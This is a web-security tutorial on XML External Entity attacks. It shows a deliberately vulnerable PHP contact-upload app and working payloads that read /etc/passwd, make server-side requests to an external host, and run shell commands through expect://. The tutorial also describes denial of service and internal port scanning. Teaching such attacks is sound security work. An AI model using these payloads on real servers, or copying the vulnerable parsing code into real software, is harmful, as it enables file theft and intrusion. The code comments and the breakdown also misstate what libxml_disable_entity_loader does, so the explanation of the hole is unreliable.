XML External Entity (XXE)

Share on :

Severity

High

Impact

Defining custom entities by the attacker which leads to performing malicious actions

Examples

  • Disclosure of confidential data
  • Denial of service
  • Server side request forgery
  • Internal port scanning
  • Command Injection

How it works?

we will demonstrate a simple example from a web app that lets you upload your contacts in XML format.

let's see our back-end code:

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

if(isset($_POST["submit"])) {

if($imageFileType != "xml") {
    echo "Sorry only XML files are allowed.";
    $uploadOk = 0;
}

if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";

} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    $myfile = fopen($target_file, "r") or die("Unable to open file!");
    $xml= fread($myfile,filesize($target_file));
    $doc = simplexml_load_string($xml);
    $oldValue = libxml_disable_entity_loader(true); // enable entity $
    $doc = simplexml_load_string($xml);
    libxml_disable_entity_loader($oldValue);

    $doc = simplexml_load_string($xml, null, LIBXML_NOENT);

    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
}
?>

<!DOCTYPE html>
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body>

<form action="" method="post" enctype="multipart/form-data" style="margin-left:30%;margin-top:10%;background-color:#e2e2e2;width:450px;padding:15px;border-radius: 20px;border: 2px solid black;">
   <p style="margin-left:30%;padding:10px;margin-top: 11px;">Select file to upload:</p>
    <input name="fileToUpload" id="fileToUpload" style="padding:1px;margin-left:30%;" type="file"><br><input value="Upload Contacts" name="submit" style="margin-top:20px;margin-left:125px;margin-bottom: 10px;" type="submit">
</form>

<div style="margin-left: 30%;background-color: black;width: 450px;padding: 15px;color: white;margin-top: 20px;border-radius: 20px;border: 2px solid #e2e2e2;">
<?php
for($x=0;$x<count($doc->name);$x++){
    echo $doc->name[$x]." : ".$doc->num[$x]."\n<br>";
}
?>
</div>

</body></html>

Walkthrough

In this scenario the user should upload the XML file containing his contact info and the application is going to parse it and show name : number pairs.

The uploaded XML file in this screenshot is this one :

<contacts>
<name>3la2</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>

Exploitation

The attacker can manipulate this XML parser because it's configured in a bad way which allows external entities declaration . An example file which an attacker can use in this case to read internal files from the server is this one :

<?xml version="1.0"?><!DOCTYPE contacts[<!ENTITY foo SYSTEM "file:///etc/passwd">]>
<contacts>
<name>&foo;</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>

When the attacker uploads this file the content of /etc/passwd will be considered the name of the number 123456 owner and get printed into the application HTML .

Code breakdown

In this vulnerable code :

<?php
#reading file
$myfile = fopen($target_file, "r") or die("Unable to open file!");
$xml= fread($myfile,filesize($target_file));

#parsing XML
$doc = simplexml_load_string($xml);
$oldValue = libxml_disable_entity_loader(true); #enabling external entities
$doc = simplexml_load_string($xml);
libxml_disable_entity_loader($oldValue);

#returning parsed data
$doc = simplexml_load_string($xml, null, LIBXML_NOENT);
?>

The developer enabled external entities declaration on lines 8 and 10 which gave the ability of getting values from outside the XML files and user it as entities .

Payload breakdown

the payload is :

<?xml version="1.0"?><!DOCTYPE contacts[<!ENTITY foo SYSTEM "file:///etc/passwd">]>
<contacts>
<name>&foo;</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>
  • 1st part : <?xml version="1.0"?> Declaring used XML version .

  • 2nd part : <!DOCTYPE contacts[ Defining that the root element of the document is contacts .

  • 3rd part : <!ENTITY foo Declaring an entity called foo .

  • 4th part : SYSTEM "file:///etc/passwd" The system command is used to declare external entities (from outside the xml document) and it takes a URL as its input .

  • 5th part : <name>&foo;</name> Calling the pre-defined entity which has the content of /etc/passwd .

Further Exploitation

1. Denial of service (DOS) : If the application doesn't return any data back to the user you can still check for XXE by calling /dev/random filestream, that'll cause the page to keep loading without stopping. On some server this may cause DOS .

2. Server side request forgery (SSRF) : The attacker can achieve SSRF by making the input to system command an external URL, for example :

  <?xml version="1.0"?><!DOCTYPE contacts[<!ENTITY foo SYSTEM "https://shieldfy.free.beeceptor.com">]>
  <contacts>
  <name>&foo;</name>
  <num>123456</num>
  <name>amgad</name>
  <num>456789</num>
  </contacts>

You can check it by visiting this URL : https://shieldfy.free.beeceptor.com .

3. Internal port scanning : The attacker can scan internal network by making a script that requests internalIP:port instead of external IP in the previous example, this may lead to taking over the server machine or any other machine on the server network .

4. Command injection : If we are lucky enough and the PHP "expect" module is loaded we can execute shell commands directly using a payload like this :

<?xml version="1.0"?><!DOCTYPE contacts[<!ENTITY foo SYSTEM "expect://whoami">]>
<contacts>
<name>&foo;</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>